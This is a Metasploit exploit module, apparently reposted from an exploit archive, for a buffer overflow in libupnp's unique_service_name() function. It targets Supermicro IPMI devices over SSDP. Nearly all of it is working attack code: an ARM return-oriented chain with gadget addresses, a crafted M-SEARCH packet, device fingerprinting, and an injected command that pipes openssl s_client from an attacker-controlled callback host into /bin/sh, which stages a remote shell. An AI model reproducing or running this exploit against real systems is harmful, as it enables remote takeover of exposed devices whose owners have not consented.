Portable UPnP SDK unique_service_name() Remote Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
      'Description'    => %q{
          This module exploits a buffer overflow in the unique_service_name()
        function of libupnp's SSDP processor. The libupnp library is used across
        thousands of devices and is referred to as the Intel SDK for UPnP
        Devices or the Portable SDK for UPnP Devices.

        Due to size limitations on many devices, this exploit uses a separate TCP
        listener to stage the real payload.
      },
      'Author'         => [
          'hdm',                                              # Exploit dev for Supermicro IPMI
          'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
          'Richard Harman <richard[at]richardharman.com>'     # Binaries, system info, testing for Supermicro IPMI
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-5858' ],
          [ 'US-CERT-VU', '922681' ],
          [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Payload'        =>
        {
#
#          # The following BadChars do not apply since we stage the payload
#          # through a secondary connection. This is just for reference.
#
#          'BadChars'  =>
#            # Bytes 0-8 are not allowed
#            [*(0..8)].pack("C*") +
#            # 0x09, 0x0a, 0x0d are allowed
#            "\x0b\x0c\x0e\x0f" +
#            # All remaining bytes up to space are restricted
#            [*(0x10..0x1f)].pack("C*") +
#            # Also not allowed
#            "\x7f\x3a" +
#            # Breaks our string quoting
#            "\x22",

          # Unlimited since we stage this over a secondary connection
          'Space'       => 8000,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              # specific payloads vary widely by device (openssl for IPMI, etc)
            }
        },
      'Targets'        =>
        [

          [ "Automatic", { } ],

          #
          # ROP targets are difficult to represent in the hash, use callbacks instead
          #
          [ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {

            # The callback handles all target-specific settings
            :callback => :target_supermicro_ipmi_131,

            # This matches any line of the SSDP M-SEARCH response
            :fingerprint =>
              /Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi

            #
            # SSDP response:
            #  Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
            #  http://192.168.xx.xx:49152/IPMIdevicedesc.xml
            #  uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice

            # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)

          } ],

          [ "Debug Target", {

            # The callback handles all target-specific settings
            :callback => :target_debug

          } ]

        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 29 2013'))

    register_options(
      [
        Opt::RHOST(),
        Opt::RPORT(1900),
        OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
        OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
      ], self.class)
  end


  def exploit

    configure_socket

    target_info = choose_target

    unless self.respond_to?(target_info[:callback])
      print_error("Invalid target specified: no callback function defined")
      return
    end

    buffer = self.send(target_info[:callback])
    pkt =
      "M-SEARCH * HTTP/1.1\r\n" +
      "Host:239.255.255.250:1900\r\n" +
      "ST:uuid:schemas:device:" + buffer + ":end\r\n" +
      "Man:\"ssdp:discover\"\r\n" +
      "MX:3\r\n\r\n"

    print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")

    r = udp_sock.sendto(pkt, rhost, rport, 0)

    1.upto(5) do
      ::IO.select(nil, nil, nil, 1)
      break if session_created?
    end

    # No handler() support right now
  end



  # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
  def target_supermicro_ipmi_131

    # Create a fixed-size buffer for the payload
    buffer = Rex::Text.rand_text_alpha(2000)

    # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
    buffer[0,1]     = '"'
    buffer[1999,1]  = '"'

    # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
    cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])

    # Start a listener
    start_listener(true)

    # Figure out the port we picked
    cbport = self.service.getsockname[2]

    # Restart the service and use openssl to stage the real payload
    # Staged because only ~150 bytes of contiguous data are available before mangling
    cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
    buffer[432, cmd.length] = cmd

    # Adjust $r3 to point from the bottom of the stack back into our buffer
    buffer[304,4] = [0x4009daf8].pack("V") #
      # 0x4009daf8:  add  r3, r3, r4, lsl #2
      # 0x4009dafc:  ldr  r0, [r3, #512]  ; 0x200
      # 0x4009db00:  pop  {r4, r10, pc}

    # The offset (right-shifted by 2 ) to our command string above
    buffer[284,4] = [0xfffffe78].pack("V") #

    # Copy $r3 into $r0
    buffer[316,4] = [0x400db0ac].pack("V")
      # 0x400db0ac <_IO_wfile_underflow+1184>:  sub  r0, r3, #1
      # 0x400db0b0 <_IO_wfile_underflow+1188>:  pop  {pc}    ; (ldr pc, [sp], #4)

    # Move our stack pointer down so as not to corrupt our payload
    buffer[320,4] = [0x400a5568].pack("V")
      # 0x400a5568 <__default_rt_sa_restorer_v2+5448>:  add  sp, sp, #408  ; 0x198
      # 0x400a556c <__default_rt_sa_restorer_v2+5452>:  pop  {r4, r5, pc}

    # Finally return to system() with $r0 pointing to our string
    buffer[141,4] = [0x400add8c].pack("V")

    return buffer
=begin
    00008000-00029000 r-xp 00000000 08:01 709233     /bin/upnp_dev
    00031000-00032000 rwxp 00021000 08:01 709233     /bin/upnp_dev
    00032000-00055000 rwxp 00000000 00:00 0          [heap]
    40000000-40015000 r-xp 00000000 08:01 709562     /lib/ld-2.3.5.so
    40015000-40017000 rwxp 00000000 00:00 0
    4001c000-4001d000 r-xp 00014000 08:01 709562     /lib/ld-2.3.5.so
    4001d000-4001e000 rwxp 00015000 08:01 709562     /lib/ld-2.3.5.so
    4001e000-4002d000 r-xp 00000000 08:01 709535     /lib/libpthread-0.10.so
    4002d000-40034000 ---p 0000f000 08:01 709535     /lib/libpthread-0.10.so
    40034000-40035000 r-xp 0000e000 08:01 709535     /lib/libpthread-0.10.so
    40035000-40036000 rwxp 0000f000 08:01 709535     /lib/libpthread-0.10.so
    40036000-40078000 rwxp 00000000 00:00 0
    40078000-40180000 r-xp 00000000 08:01 709620     /lib/libc-2.3.5.so
    40180000-40182000 r-xp 00108000 08:01 709620     /lib/libc-2.3.5.so
    40182000-40185000 rwxp 0010a000 08:01 709620     /lib/libc-2.3.5.so
    40185000-40187000 rwxp 00000000 00:00 0
    bd600000-bd601000 ---p 00000000 00:00 0
    bd601000-bd800000 rwxp 00000000 00:00 0
    bd800000-bd801000 ---p 00000000 00:00 0
    bd801000-bda00000 rwxp 00000000 00:00 0
    bdc00000-bdc01000 ---p 00000000 00:00 0
    bdc01000-bde00000 rwxp 00000000 00:00 0
    be000000-be001000 ---p 00000000 00:00 0
    be001000-be200000 rwxp 00000000 00:00 0
    be941000-be956000 rwxp 00000000 00:00 0          [stack]
=end

  end

  # Generate a buffer that provides a starting point for exploit development
  def target_debug
    buffer = Rex::Text.pattern_create(2000)
  end

  def stage_real_payload(cli)
    print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
    cli.put(payload.encoded + "\n")
  end

  def start_listener(ssl = false)

    comm = datastore['ListenerComm']
    if comm == "local"
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    self.service = Rex::Socket::TcpServer.create(
      'LocalPort' => datastore['CBPORT'],
      'SSL'       => ssl,
      'SSLCert'   => datastore['SSLCert'],
      'Comm'      => comm,
      'Context'   =>
        {
          'Msf'        => framework,
          'MsfExploit' => self,
        })

    self.service.on_client_connect_proc = Proc.new { |client|
      stage_real_payload(client)
    }

    # Start the listening service
    self.service.start
  end

  #
  # Shut down any running services
  #
  def cleanup
    super
    if self.service
      print_status("Shutting down payload stager listener...")
      begin
        self.service.deref if self.service.kind_of?(Rex::Service)
        if self.service.kind_of?(Rex::Socket)
          self.service.close
          self.service.stop
        end
        self.service = nil
      rescue ::Exception
      end
    end
  end

  def choose_target
    # If the user specified a target, use that one
    return self.target unless self.target.name =~ /Automatic/

    msearch =
      "M-SEARCH * HTTP/1.1\r\n" +
      "Host:239.255.255.250:1900\r\n" +
      "ST:upnp:rootdevice\r\n" +
      "Man:\"ssdp:discover\"\r\n" +
      "MX:3\r\n\r\n"

    # Fingerprint the service through SSDP
    udp_sock.sendto(msearch, rhost, rport, 0)

    res = nil
    1.upto(5) do
      res,addr,info = udp_sock.recvfrom(65535, 1.0)
      break if res and res =~ /^(Server|Location)/mi
      udp_sock.sendto(msearch, rhost, rport, 0)
    end

    self.targets.each do |t|
      return t if t[:fingerprint] and res =~ t[:fingerprint]
    end

    if res and res.to_s.length > 0
      print_status("No target matches this fingerprint")
      print_status("")
      res.to_s.split("\n").each do |line|
        print_status("    #{line.strip}")
      end
      print_status("")
    else
      print_status("The system #{rhost} did not reply to our M-SEARCH probe")
    end

    fail_with(Exploit::Failure::NoTarget, "No compatible target detected")
  end

  # Accessor for our TCP payload stager
  attr_accessor :service

  # We need an unconnected socket because SSDP replies often come
  # from a different sent port than the one we sent to. This also
  # breaks the standard UDP mixin.
  def configure_socket
    self.udp_sock = Rex::Socket::Udp.create({
      'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
    })
    add_socket(self.udp_sock)
  end

  #
  # Required since we aren't using the normal mixins
  #

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  # Accessor for our UDP socket
  attr_accessor :udp_sock

end

#  0day.today [2018-04-10]  #